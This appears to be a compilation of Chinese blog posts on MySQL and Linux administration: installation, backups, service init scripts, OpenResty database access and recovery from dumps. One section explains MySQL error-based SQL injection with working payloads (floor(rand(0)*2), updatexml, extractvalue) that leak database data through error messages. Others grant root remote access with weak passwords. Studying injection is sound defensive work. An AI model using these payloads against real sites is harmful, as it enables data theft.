Ubuntu下安装MySQL及简单操作

Ubuntu上安装MySQL非常简单只需要几条命令就可以完成。

sudo apt-get install mysql-server

apt-get isntall mysql-client

sudo apt-get install libmysqlclient-dev

未分类

安装过程中会提示设置密码什么的,注意设置了不要忘了,安装完成之后可以使用如下命令来检查是否安装成功:

sudo netstat -tap | grep mysql

通过上述命令检查之后,如果看到有mysql 的socket处于 listen 状态则表示安装成功。

未分类

登陆mysql数据库可以通过如下命令:

mysql -u root -p

未分类

-u 表示选择登陆的用户名, -p 表示登陆的用户密码,上面命令输入之后会提示输入密码,此时输入密码就可以登录到mysql。

CentOS下yum安装mysql5.7

1、安装yum库

[root@dream7788 ~]# wget https://repo.mysql.com//mysql57-community-release-el7-9.noarch.rpm
[root@dream7788 ~]# yum localinstall mysql57-community-release-el7-9.noarch.rpm
[root@dream7788 ~]# yum repolist enabled | grep "mysql.*-community.*"

2、安装mysql

[root@dream7788 ~]# yum install mysql-community-server

3、启动mysql

[root@dream7788 ~]# systemctl restart mysqld.service

4、获取初次安装时root的密码

[root@dream7788 ~]# grep 'temporary password' /var/log/mysqld.log

显示如下:

2017-01-08T19:41:01.080513Z 1 [Note] A temporary password is generated for root@localhost: js!iUor1wOTT

5、修改root密码

[root@dream7788 ~]# mysql -u root -p

修改密码:

mysql> set global validate_password_policy=0;
mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'dream7788';
mysql> FLUSH PRIVILEGES;

6、允许root远程登录

mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'dream7788' WITH GRANT OPTION;
mysql> FLUSH PRIVILEGES;
mysql> quit

xtrabackup恢复备份后,mysql无法启动,报Job failed to start

今天测试 mysql的备份与备份恢复,因为数据量比较大,所以选用的xtrabackup.之前打算用binlog2sql,后来看到不支持建表等其他操作,就选用xtrabackup.这里记录下使用过程中遇到的坑:

1. 要先停止数据库.

本来是直接运行:

innobackupex
--copy-back /extrabackup/2016-04-27_07-30-48/

结果报错,说是/var/lib/mysql(我设置的data文件夹,根据自己情况查看)不为空.好吧,先停止数据库服务,删除目录下的所有文件,在重新启动,结果启动不了.

2. mysql: Job failed to start.

查看出错日志(具体路径可看配置文件my.cnf),说是 mysql 目录下的ibdata1是只读权限.好吧,我干脆把整个mysql 给完全权限 : chmod a+x mysql,结果还是不行.
ll命令查看后,发现ibdata1的拥有者是当前用户,不是mysql用户,最后运行:

chown -R mysql:mysql /var/lib/mysql  (目录是data 的目录)

ok了.

Linux 配置 nginx、mysql、php-fpm、redis 开机启动

Linux(CentOS)上配置 nginx、mysql、php-fpm、redis 开机启动,编写开机启动脚本。

系统环境: CentOS Linux

I、nginx开机启动

1. 在/etc/init.d/目录下创建脚本

vim  /etc/init.d/nginx

2. 更改脚本权限

chmod 775 /etc/init.d/nginx

3. 编写脚本内容

#!/bin/bash
# nginx Startup script for the Nginx HTTP Server
# it is v.0.0.2 version.
# chkconfig: - 85 15
# description: Nginx is a high-performance web and proxy server.
#              It has a lot of features, but it's not for everyone.
# processname: nginx
# pidfile: /var/run/nginx.pid
# config: /usr/local/nginx/conf/nginx.conf
nginxd=/usr/local/webserver/nginx/sbin/nginx
nginx_config=/usr/local/webserver/nginx/conf/nginx.conf
nginx_pid=/usr/local/webserver/nginx/logs/nginx.pid
RETVAL=0
prog="nginx"
# Source function library.
.  /etc/rc.d/init.d/functions
# Source networking configuration.
.  /etc/sysconfig/network
# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0
[ -x $nginxd ] || exit 0
# Start nginx daemons functions.
start() {
if [ -e $nginx_pid ];then
   echo "nginx already running...."
   exit 1
fi
   echo -n $"Starting $prog: "
   daemon $nginxd -c ${nginx_config}
   RETVAL=$?
   echo
   [ $RETVAL = 0 ] && touch /var/lock/subsys/nginx
   return $RETVAL
}
# Stop nginx daemons functions.
stop() {
        echo -n $"Stopping $prog: "
        killproc $nginxd
        RETVAL=$?
        echo
        [ $RETVAL = 0 ] && rm -f /var/lock/subsys/nginx /usr/local/webserver/nginx/logs/nginx.pid
}

reload() {
    echo -n $"Reloading $prog: "
    #kill -HUP `cat ${nginx_pid}`
    killproc $nginxd -HUP
    RETVAL=$?
    echo
}
# See how we were called.
case "$1" in
start)
        start
        ;;
stop)
        stop
        ;;
reload)
        reload
        ;;
restart)
        stop
        start
        ;;
status)
        status $prog
        RETVAL=$?
        ;;
*)
        echo $"Usage: $prog {start|stop|restart|reload|status|help}"
        exit 1
esac
exit $RETVAL

4. 设置开机启动

chkconfig nginxd on

II、设置mysql开机启动

将mysql安装目录下 support-files目录下的mysql.server文件拷贝到/etc/init.d/目录下并改名为mysqld,并更改权限

chmod 775 /etc/init.d/mysqld

设置开机启动

chkconfig mysqld on

III、php-fpm开机启动

1. 在/etc/init.d/目录下创建脚本

vim /etc/init.d/php-fpm

2. 更改脚本权限

chmod 775 /etc/init.d/php-fpm

3. 编写脚本内容

#!/bin/sh
#
# php-fpm - this script starts and stops the php-fpm daemin
#
# chkconfig: - 85 15
# processname: php-fpm
# config:      /usr/local/php/etc/php-fpm.conf

set -e

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DESC="php-fpm daemon"
NAME=php-fpm
DAEMON=/usr/local/php/sbin/$NAME     //这里设成自己的目录
CONFIGFILE=/usr/local/php/etc/php-fpm.conf   //这里设成自己的目录
PIDFILE=/usr/local/php/var/run/$NAME.pid   //这里设成自己的目录
SCRIPTNAME=/etc/init.d/$NAME   //这里设成自己的目录

# If the daemon file is not found, terminate the script.
test -x $DAEMON || exit 0

d_start(){
    $DAEMON -y $CONFIGFILE || echo -n " already running"
}

d_stop(){
    kill -QUIT `cat $PIDFILE` || echo -n " no running"
}

d_reload(){
    kill -HUP `cat $PIDFILE` || echo -n " could not reload"
}

case "$1" in
    start)
        echo -n "Starting $DESC: $NAME"
        d_start
        echo "."
        ;;
    stop)
        echo -n "Stopping $DESC: $NAME"
        d_stop
        echo "."
        ;;
    reload)
        echo -n "Reloading $DESC configuration..."
        d_reload
        echo "Reloaded."
        ;;
    restart)
        echo -n "Restarting $DESC: $NAME"
        d_stop
        # Sleep for two seconds before starting again, this should give the nginx daemon some time to perform a graceful stop
        sleep 2
        d_start
        echo "."
        ;;
    *)
        echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload)" >&2
        exit 3
        ;;
esac
exit 0

4. 设置开机启动

chkconfig php-fpm on

Ⅳ、redis 开机启动

1. 在/etc/init.d/目录下创建脚本

vim /etc/init.d/redis

2. 更改脚本权限

chmod 775 /etc/init.d/redis

3. 编写脚本内容

###########################
PATH=/usr/local/bin:/sbin:/usr/bin:/bin

REDISPORT=6379
EXEC=/usr/local/bin/redis-server
REDIS_CLI=/usr/local/bin/redis-cli

PIDFILE=/var/run/redis.pid
CONF="/etc/redis.conf"

case "$1" in
    start)
        if [ -f $PIDFILE ]
        then
                echo "$PIDFILE exists, process is already running or crashed"
        else
                echo "Starting Redis server..."
                $EXEC $CONF
        fi
        if [ "$?"="0" ]
        then
              echo "Redis is running..."
        fi
        ;;
    stop)
        if [ ! -f $PIDFILE ]
        then
                echo "$PIDFILE does not exist, process is not running"
        else
                PID=$(cat $PIDFILE)
                echo "Stopping ..."
                $REDIS_CLI -p $REDISPORT SHUTDOWN
                while [ -x ${PIDFILE} ]
               do
                    echo "Waiting for Redis to shutdown ..."
                    sleep 1
                done
                echo "Redis stopped"
        fi
        ;;
   restart|force-reload)
        ${0} stop
        ${0} start
        ;;
  *)
    echo "Usage: /etc/init.d/redis {start|stop|restart|force-reload}" >&2
        exit 1
esac
##############################

4. 设置开机启动

chkconfig redis on

至此,大功告成。

可以用命令 chkconfig 查看开机启动服务列表

chkconfig --list

附录:

1、nigx重启错误

bind() to 0.0.0.0:80 failed (98: Address already in use)

这个是nginx重启是 经常遇到的。 网上找了很多信息 都是没有啥用。说的乱七八糟的。 发现原来是nginx重复重启。自己占用了端口。 解决方法

killall -9 nginx

杀掉nginx 进程 然后重启就行了。

service nginx restart

2、php-fpm 启动 关闭

php-fpm 不再支持 php-fpm 补丁具有的 /usr/local/php/sbin/php-fpm (start|stop|reload)等命令,需要使用信号控制:

master 进程可以理解以下信号

  • SIGINT, SIGTERM 立刻终止
  • SIGQUIT 平滑终止
  • SIGUSR1 重新打开日志文件
  • SIGUSR2 平滑重载所有worker进程并重新载入配置和二进制模块

示例:

php-fpm 关闭:

kill -SIGINT `cat /usr/local/php/var/run/php-fpm.pid`

php-fpm 重启:

kill -SIGUSR2 `cat /usr/local/php/var/run/php-fpm.pid`

其次配置文件不再使用的xml 格式,改为了INI,但是配置参数几乎和以前一样,可参照xml格式的格式配置。

3、nginx 启动 关闭

  • nginx的启动 (nginx.conf文件基本上位于nginx主目录中的conf目录中)
nginx -c nginx.conf
  • nginx的停止 (nginx.pid文件基本上位于nginx主目录中的logs目录中)
ps -ef | grep nginx

可发现数个nginx进程,其中标有master的为主进程,其它为子进程, 停止nginx主要就是对主进程进行信号控制.

从容停止

kill -QUIT `cat nginx.pid`

快速停止

kill -TERM `cat nginx.pid`

or

kill -INT `cat nginx.pid`

强制停止

kill -9 `cat nginx.pid`

nginx的平滑重启

首先要验证新的配置文件是否正确:

nginx -t -c nginx.conf

成功后向主进程发送HUP信号即可: [/shell]kill -HUP cat nginx.pid[/shell]

4、nginx 平滑升级

  1. 备份好旧的可执行文件,使用新版本替换旧版本

  2. kill -USR2 旧版本的主进程PID 进行平滑升级, 此时新老版本共存

  3. kill -WINCH 旧版本的主进程PID 逐步关闭旧主进程的工作进程

  4. 当旧主进程产生的工作进程全部关闭后, 可以决定是否使用新版本还是旧版本.(需要使用kill命令来杀死新或旧主进程)

#!/bin/sh
BASE_DIR='/usr/local/'
${BASE_DIR}nginx/sbin/nginx -t -c ${BASE_DIR}nginx/conf/nginx.conf >& ${BASE_DIR}nginx/logs/nginx.start
info=`cat ${BASE_DIR}nginx/logs/nginx.start`
if [ `echo $info | grep -c "syntax is ok" ` -eq 1 ]; then
if [ `ps aux|grep "nginx"|grep -c "master"` == 1 ]; then
kill -HUP `cat ${BASE_DIR}nginx/logs/nginx.pid`
echo "ok"
else
killall -9 nginx
sleep 1
${BASE_DIR}nginx/sbin/nginx
fi
else
echo "######## error: ########"
cat ${BASE_DIR}nginx/logs/nginx.start
fi

5、CentOS修改系统环境变量

我这里拿php作为一个例子,我的php安装在/usr/local/webserver/php下,没有把php加入环境变量时,你在命令行执行

# 查看当前php的版本信息
[root@CentOS ~]# php -v

会提示你此命令不存在。

下面详细说说linux下修改环境变量的方法

方法一:

在/etc/profile文件中添加变量【对所有用户生效(永久的)】
用VI在文件/etc/profile文件中增加变量,该变量将会对Linux下所有用户有效,并且是“永久的”。

[root@CentOS ~]# vim /etc/profile

在文件末尾加上如下两行代码

PATH=/usr/local/webserver/php/bin:$PATH
export PATH

如:

# /etc/profile

# System wide environment and startup programs, for login setup
# Functions and aliases go in /etc/bashrc

# It's NOT a good idea to change this file unless you know what you
# are doing. It's much better to create a custom.sh shell script in
# /etc/profile.d/ to make custom changes to your environment, as this
# will prevent the need for merging in future updates.

pathmunge () {
    case ":${PATH}:" in
        *:"$1":*)
            ;;
        *)
            if [ "$2" = "after" ] ; then
                PATH=$PATH:$1
            else
                PATH=$1:$PATH
            fi
    esac
}

if [ -x /usr/bin/id ]; then
    if [ -z "$EUID" ]; then
        # ksh workaround
        EUID=`id -u`
        UID=`id -ru`
    fi
    USER="`id -un`"
    LOGNAME=$USER
    MAIL="/var/spool/mail/$USER"
fi

# Path manipulation
if [ "$EUID" = "0" ]; then
    pathmunge /sbin
    pathmunge /usr/sbin
    pathmunge /usr/local/sbin
else
    pathmunge /usr/local/sbin after
    pathmunge /usr/sbin after
    pathmunge /sbin after
fi

HOSTNAME=`/bin/hostname 2>/dev/null`
HISTSIZE=1000
if [ "$HISTCONTROL" = "ignorespace" ] ; then
    export HISTCONTROL=ignoreboth
else
    export HISTCONTROL=ignoredups
fi

export PATH USER LOGNAME MAIL HOSTNAME HISTSIZE HISTCONTROL

# By default, we want umask to get set. This sets it for login shell
# Current threshold for system reserved uid/gids is 200
# You could check uidgid reservation validity in
# /usr/share/doc/setup-*/uidgid file
if [ $UID -gt 199 ] && [ "`id -gn`" = "`id -un`" ]; then
    umask 002
else
    umask 022
fi

for i in /etc/profile.d/*.sh ; do
    if [ -r "$i" ]; then
        if [ "${-#*i}" != "$-" ]; then
            . "$i"
        else
            . "$i" >/dev/null 2>&1
        fi
    fi
done

unset i
unset pathmunge

PATH=/usr/local/webserver/php/bin:$PATH
export PATH

要是刚才的修改马上生效,需要执行以下代码

[root@CentOS ~]# source /etc/profile

这时再查看系统环境变量,就能看见刚才加的东西已经生效了

[root@CentOS ~]# echo $PATH
/usr/local/webserver/php/bin:/usr/lib/qt-3.3/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

现在就能直接使用php命令了(而不是像之前写很长一串/usr/local/webserver/php/bin/php -v),例如查看当前php的版本

[root@CentOS ~]# php -v
PHP 5.3.8 (cli) (built: Jun 27 2012 14:28:20)
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies

方法二:

在用户目录下的.bash_profile文件中增加变量【对单一用户生效(永久的)】
用VI在用户目录下的.bash_profile文件中增加变量,改变量仅会对当前用户有效,并且是“永久的”。具体操作和方法1一样,这里就不在列举代码了。

方法三:

直接运行export命令定义变量【只对当前shell(BASH)有效(临时的)】

在shell的命令行下直接使用[export变量名=变量值]定义变量,该变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,shell关闭了,变量也就失效了,再打开新shell时就没有这个变量,需要使用的话还需要重新定义。例如

export PATH=/usr/local/webserver/php/bin:$PATH

Openresty最佳案例 | 第6篇:OpenResty连接Mysql

centos 安装mysl

Centos系统下安装mysql,先下载mysql-community-release-el7-5.noarch.rpm,然后通过yum安装,安装过程一直确定【Y】即可。

cd /usr/downloads/

wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm

rpm -ivh mysql-community-release-el7-5.noarch.rpm

yum install mysql-community-server

安装成功后,重启mysql,并进入mysql数据库,给root用户设置一个密码,密码为“123”。

service mysqld restart

mysql -u root -p

set password for root@localhost = password('123'); 

openresty连接mysql

lua-resty-mysql模块的官方文档地址: https://github.com/openresty/lua-resty-mysql

lua-resty-mysql - Lua MySQL client driver for ngx_lua based on the cosocket API

lua-resty-mysql模块是基于cosocket API 为ngx_lua提供的一个Lua MySQL客户端。它保证了100%非阻塞。

vim /usr/example/lua/test_mysql.lua,添加以下的代码:

local function close_db(db)  
    if not db then  
        return  
    end  
    db:close()  
end  

local mysql = require("resty.mysql")  

local db, err = mysql:new()  
if not db then  
    ngx.say("new mysql error : ", err)  
    return  
end  

db:set_timeout(1000)  

local props = {  
    host = "127.0.0.1",  
    port = 3306,  
    database = "mysql",  
    user = "root",  
    password = "123"  
}  

local res, err, errno, sqlstate = db:connect(props)  

if not res then  
   ngx.say("connect to mysql error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)  
   return close_db(db)  
end  

local drop_table_sql = "drop table if exists test"  
res, err, errno, sqlstate = db:query(drop_table_sql)  
if not res then  
   ngx.say("drop table error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)  
   return close_db(db)  
end  


local create_table_sql = "create table test(id int primary key auto_increment, ch varchar(100))"  
res, err, errno, sqlstate = db:query(create_table_sql)  
if not res then  
   ngx.say("create table error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)  
   return close_db(db)  
end  


local insert_sql = "insert into test (ch) values('hello')"  
res, err, errno, sqlstate = db:query(insert_sql)  
if not res then  
   ngx.say("insert error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)  
   return close_db(db)  
end  

res, err, errno, sqlstate = db:query(insert_sql)  

ngx.say("insert rows : ", res.affected_rows, " , id : ", res.insert_id, "<br/>")  


local update_sql = "update test set ch = 'hello2' where id =" .. res.insert_id  
res, err, errno, sqlstate = db:query(update_sql)  
if not res then  
   ngx.say("update error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)  
   return close_db(db)  
end  

ngx.say("update rows : ", res.affected_rows, "<br/>")  

local select_sql = "select id, ch from test"  
res, err, errno, sqlstate = db:query(select_sql)  
if not res then  
   ngx.say("select error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)  
   return close_db(db)  
end  


for i, row in ipairs(res) do  
   for name, value in pairs(row) do  
     ngx.say("select row ", i, " : ", name, " = ", value, "<br/>")  
   end  
end  

ngx.say("<br/>")  

local ch_param = ngx.req.get_uri_args()["ch"] or ''  

local query_sql = "select id, ch from test where ch = " .. ngx.quote_sql_str(ch_param)  
res, err, errno, sqlstate = db:query(query_sql)  
if not res then  
   ngx.say("select error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)  
   return close_db(db)  
end  

for i, row in ipairs(res) do  
   for name, value in pairs(row) do  
     ngx.say("select row ", i, " : ", name, " = ", value, "<br/>")  
   end  
end  


local delete_sql = "delete from test"  
res, err, errno, sqlstate = db:query(delete_sql)  
if not res then  
   ngx.say("delete error : ", err, " , errno : ", errno, " , sqlstate : ", sqlstate)  
   return close_db(db)  
end  

ngx.say("delete rows : ", res.affected_rows, "<br/>")  


close_db(db)  

在上面的代码中,展示了基本的创表、插入数据、修改数据、查询数据、删除数据的一些功能。

其中用到的lua-resty-mysql的一些API方法:

  • syntax: db, err = mysql:new() 创建一个mysql数据库连接对象
  • syntax: ok, err = db:connect(options) 尝试远程连接mysql
    • host mysql的主机名
    • port 端口
    • database 数据库名
    • user 用户名
    • password 密码
    • charset 编码
  • syntax: db:set_timeout(time) 设置数据库连接超时时间

  • syntax: ok, err = db:set_keepalive(max_idle_timeout, pool_size) 设置连接池
  • syntax: ok, err = db:close() 关闭数据库
  • syntax: bytes, err = db:send_query(query) 发送查询

lua-resty-mysql的一些关键的API方法,见https://github.com/openresty/lua-resty-mysql#table-of-contents

vim /usr/example/example.conf 在配置文件配置:

location /lua_mysql {
   default_type 'text/html';
   lua_code_cache on;
   content_by_lua_file /usr/example/lua/test_mysql.lua;
 }

浏览器访问http://116.196.177.123/lua_mysql,浏览器显示以下的内容:

insert rows : 1 , id : 2
update rows : 1
select row 1 : ch = hello
select row 1 : id = 1
select row 2 : ch = hello2
select row 2 : id = 2

delete rows : 2

Linux中利用shell脚本定时检测mysql状态,实现自动重启

问题简介

未分类

最近几个月网站服务器老是半夜挂掉,罪魁祸首就是 mysql 自动停止导致的,那就头痛医头,想办法让Mysql 自动启动起来。要解决这个mysql无规律自动停掉的问题,首先给服务器加个定时执行任务,每分钟去检测一下数据库服务的运行状态,要是down 掉了,就立马启动起来。

处理步骤

第一步,添加定时任务,使用crontab。

crontab -e
*/1 * * * * /目录/文件名.sh

#表示每分钟执行一次 sh 文件

第二步,编写shell执行文件,代码如下:

#!/bin/bash
pgrep -x mysqld &amp;&gt; /dev/null
if [ $? -ne 0 ]
then
echo “At time: `date` :MySQL is stop .”&gt;&gt; /日志路径
/etc/init.d/mysqld start
else
echo “MySQL server is running .”
fi

这里要注意,不能用

service mysqld/mysql start

命令来启动,会导致mysql启动不了,应使用绝对路径,

/etc/init.d/mysqld start

来启动。

另外,也可以不写入日志。删掉>> /日志路径即可。

完成。

就是这么简单。如发现这样操作了,还没有得到期望的结果,可排查crontab是否执行了相应的任务,脚本权限是否够,脚本内部命令或格式是否正确等方面。

如写入

*/1 * * * * echo “test” &gt;&gt; /var/log/test

检测cron是否正确执行。

再看看crontab的执行历史记录:

cd /var/log
tail -100 cron

若权限不够,则加上权限。

chmod 777 ./shell文件.sh

mysql报错注入总结

最近又深刻的研究了一下mysql的报错注入,发现很多值得记录的东西,于是写了这篇博客做一个总结,目的是为了更深刻的理解报错注入

报错注入原因及分类

  • 既然是研究报错注入,那我们先要弄明白为什么我们的注入语句会导致数据库报错,报错的原因我自己总结了一下,有以下几点

重复数据报错,这里的重复主要有两个方面,其中之一是基于主键的唯一性:一个表主键必须是唯一的,如果一个表尝试生成两个相同的主键,就会爆出Duplicate entry ‘1’ for key ‘group_key’的主键重复错误,于是根据这种报错就产生了floor(rand(0)*2)等注入手法,另外一个就是基于列名的唯一性,如果我们在一个表中构造了两个相同的列名,就会产生Duplicate column name的错误,报错方法通常有NAME_CONST,或者利用join和using关键字连接同一个表创建子查询进行报错,这个方法从lctf2017 pcat大佬的writeup中学到的,在我的另一篇文章中会提到

  • 基于数据类型不一致而产生的报错:mysql的一些函数参数要求的是什么数据类型,如果数据类型不符合,自然就会报错,这种报错也是相对容易理解的,根据这种特性产生的报错注入有updatexml,extractvalue等注入手法

  • 基于BIGINT溢出错误的SQL注入,根据超出最大整数溢出产生的错误,这类报错注入是在mysql5.5.5版本后才产生的,5.5.5版本前并不会因为整数溢出而报错,这种注入自己在phpstudy上试了试,mysql版本为5.5.53,虽然报错了但是并没有爆出信息,以后研究出来再补充

  • 其他报错,企业级代码审计这本书上看到的,一些mysql空间函数geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),通过这些报错会产生Illegal non geometric的错误,里面同时包含了我们构造查询语句的信息

原理分析

接下来对上面列出的一些报错注入一个个进行分析

基于主键值重复

floor(rand(0)*2):我们在进行报错注入时用的相对较多的方法,网上给出的报错语句大部分是这样的

id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

看到这是不是有点云里雾里的感觉呢,没关系,我也因为这个语句纠结了一段时间,比如为什么要floor(rand(0)*2),为什么要用到information_schema.tables这个表,接下来我们就把它彻底弄明白,先看rand()这个函数,这个函数都知道是产生随机数的,但是当rand(0)被计算多次时它所产生的值是有规律的,我们以information_schema.tables这个表进行示范,因为它里面的数据多,别的表也可以,只要数据量够多,这样可以使rand(0)计算多次,便于观察,为了更便于观察,我们取前30条记录,查询语句

mysql> select rand(0) from information_schema.tables limit 0,30;

+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
|  0.6387474552157777 |
| 0.33109208227236947 |
|  0.7392180764481594 |
|  0.7028141661573334 |
|  0.2964166321758336 |
|  0.3736406931408129 |
|  0.9789535999102086 |
|  0.7738459508622493 |
|  0.9323689853142658 |
|  0.3403071047182261 |
|  0.9044285983819781 |
|   0.501221708488857 |
|  0.7928227780319962 |
|  0.4604487954270549 |
|  0.9237756737729308 |
| 0.23753201331713425 |
|  0.4163330760005238 |
|  0.3690693707848614 |
|  0.5963476566563805 |
|   0.874530201660963 |
|  0.5836080690693185 |
| 0.29444977109734877 |
|  0.7214246790124333 |
|  0.7237741125037652 |
|  0.4545965562151713 |
| 0.10166047429820567 |
| 0.14451273357915947 |
|  0.4175822757348253 |
+---------------------+
30 rows in set (0.05 sec)

通过多次测试观察可以发现规律,每次执行sql语句多次计算rand(0)时,rand(0)产生的值是总是固定的,不管执行多少次语句,多次计算的rand(0)的前30条总是和上面得计算结果一样,那么可以做出结论之后的结果也总是一样,观察上述计算结果,看似杂乱的数值其实都有着一个范围界限,那就是0~0.5,0.5~1,我们将rand(0)*2再观察一下

mysql> select rand(0)*2 from information_schema.columns limit 0,30;

+---------------------+
| rand(0)*2           |
+---------------------+
|  0.3104408553898715 |
|   1.241763483026776 |
|  1.2774949104315554 |
|  0.6621841645447389 |
|  1.4784361528963188 |
|  1.4056283323146668 |
|  0.5928332643516672 |
|  0.7472813862816258 |
|  1.9579071998204172 |
|  1.5476919017244986 |
|  1.8647379706285316 |
|  0.6806142094364522 |
|  1.8088571967639562 |
|   1.002443416977714 |
|  1.5856455560639924 |
|  0.9208975908541098 |
|  1.8475513475458616 |
|  0.4750640266342685 |
|  0.8326661520010477 |
|  0.7381387415697228 |
|   1.192695313312761 |
|   1.749060403321926 |
|   1.167216138138637 |
|  0.5888995421946975 |
|  1.4428493580248667 |
|  1.4475482250075304 |
|  0.9091931124303426 |
| 0.20332094859641134 |
| 0.28902546715831895 |
|  0.8351645514696506 |
+---------------------+
30 rows in set (0.69 sec)

此时界限分隔值变成了1,数值都是零点几的小数和一点几的小数,于是用floor处理一下

mysql> select floor(rand(0)*2) from information_schema.columns limit 0,30;

+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
|                0 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                0 |
|                0 |
+------------------+

于是就有了floor(rand(0)2),同样的,每次执行多次floor(rand(0)2),所得的结果也总是这样固定,我们只看前6个数字,总是0,1,1,0,1,1这样的顺序,后面的数也是如此有着自己的顺序

接下来我们构造一个sql语句,它可以报出Duplicate的错误

mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);

ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

分析这条语句,当进行count(),group by聚合函数分组计算时,mysql会创建一个虚拟表,虚拟表由主键列和count()列两列组成,同时floor(rand(0)2)这个值会被计算多次,这一点很重要,计算多次是指在取数据表数据使用group by时,进行一次floor(rand(0)2),如果虚拟表中不存在此数据时,那么在往虚拟表插入数据时,floor(rand(0)2)将会再被计算一次,接下来分析,取数据表第一条记录时第一次使用group by,计算floor(rand(0)2)的值为0,查询虚拟表发现0这个主键不存在,于是再次计算floor(rand(0)2)结果为1,将1作为主键插入虚拟表,这时主键1的count()值为1,接下来取数据表第二条记录时第二次使用group by,计算floor(rand(0)2),结果为1,然后查询虚拟表,发现1的键值存在,于是count()的值加1,取数据表第三条记录时第三次使用group by,计算floor(rand(0)2)值为0,查询虚拟表,发现0的键值不存在,于是再一次计算floor(rand(0)2),结果为1,当尝试将1插入虚拟表中时,发现主键1已经存在,所以报出主键重复的错误,整个过程中查询了information_schema.tables这个表3条记录发生报错,这也是报错为什么需要数据表的记录多到至少为3条的原因,也是为什么选择information_schema.tables表的原因,因为这个表中的记录一定大于三条,由此可知我们其实还以选择information_schema.columns,information_schema.schemata等表

下面构造语句

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user());
ERROR 1062 (23000): Duplicate entry '1:root@localhost' for key 'group_key'

是不是看着很眼熟,没错,这就是我们在开头给出的那个复杂的语句,只不过开头的那个加了个子查询,其实and后的括号里直接写这个语句也能达到一样的效果

mysql> select * from user where id=1 and (select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,user()));
ERROR 1062 (23000): Duplicate entry '1:root@localhost' for key 'group_key'

把user()换成其他查询语句,就可以注入出别的数据

基于数据类型的不一致

updatexml(1,XPATH,1)函数的第二个参数要求为XPATH格式,如果我们把它改为字符串格式,那么就会爆出XPATH syntax error的错误,于是构造sql语句

mysql> select * from user where id=1 and updatexml(1,(concat(1,user())),1);
ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

利用concat函数返回字符串产生报错,同样的函数还有extractvalue(1,XPATH)

mysql> select * from user where id=1 and extractvalue(1,(concat(1,user())));
ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

Mysql表的数据达到千万级别解决思路

在大神的指导下,我总结如下:

1、建立合适的索引

所谓的合适的索引包括很多内容,比如一开始对于where条件里面的sql语句要建立索引,这样才能查询速度变快,至于建立什么样子的索引根据业务自己建立,这这要说下注意点。比如sql里面语句有like,那like的字段就要建立全文索引,sql语句里面‘%’所在的位置因位置不同而起的作用也不同,这个可以问问度娘。当时由于我的where条件比较多,就没有使用联合索引,网上说这个索引在where条件里面效果非常好。

2、优化sql语句

其实操作单表sql语句并不复杂,但这里面所涉及到的知识点也是很多,sql能根据id的最好能依靠id,因为id一般为主键索引,他的查询速度很快。这里可以用mysql里面的explain来查看sql到底性能怎么样,具体可以看这个http://www.fang99.cc/index.php/Home/Article/detail/id/3380.html。

3、分页

其实分页当时我也做了,这个也要有。因为数据大,不可能展示所有的数据给用户看,没这个必要。另外在拼接分页的sql语句能走id最好。

4、数据库容量

网上查资料说mysql的存储数据能达到千万级别,但是我在实际运用中并没有做到大神们的那个样子。后来看了下别人的同类产品,他们直接对数据库的容量定量了,比如只存储一百万数据,超过则提醒用户,并且每更新一条数据就覆盖最后一条数据。

以上仅个人看法,如有不对的地方,希望大神门指导下!

利用MySQL全备份,如何只恢复一个库或者一个表?

未分类

在实际工作中,一个MySQL实例中可能有多个database。而我们备份时,通常采用完全备份,将所有database都备份到一个文件中。

但是,偶尔会遇到只恢复一个database或者一个表的情况。怎么解决呢?

一、利用全备恢复一个库(database)的数据

案例:朋友在群里问, MySQL全库备份。如何只恢复一个库?

1、采用–one-database 选项。不建议使用该方式,经常出现问题。

# mysql -uroot -pxx -D db1 -o 

2、从全备份文件中将需要的库的建表语句和INSERT数据拿出来,然后再导入

# sed -n '/^-- Current Database: `db1`/,/^-- Current Database: `/p' all.dmp > db1.sql 

# mysql -uroot -pxx -D db1 

二、利用全备恢复一张表(table)的数据

生产中遇到开发同事更新表时未加上where条件,造称 order_status 列所有数据都被更新为0.

通常,mysqldump对全库进行备份。恢复时如果恢复全库,太耗时间又没有必要。所以,我们只恢复想要的表即可。

mysqldump备份中,既有表结构,又有INSERT INTO语句包含数据。所以获得者两部分内容即可。

1、获得表结构

# sed -e'/./{H;$!d;}' -e 'x;/CREATE TABLE `ecs_ugo_order_info`/!d;q' mysqldump_2017-05-23.sql 

2、获得INSERT INTO 语句,用于数据的恢复

# grep -i 'INSERT INTO `ecs_ugo_order_info`' mysqldump_2017-05-23.sql >data.sql & 

3、根据得到的表结构创建表,并导入数据

mysql -uroot -pxxx xx 

4、拼接update语句

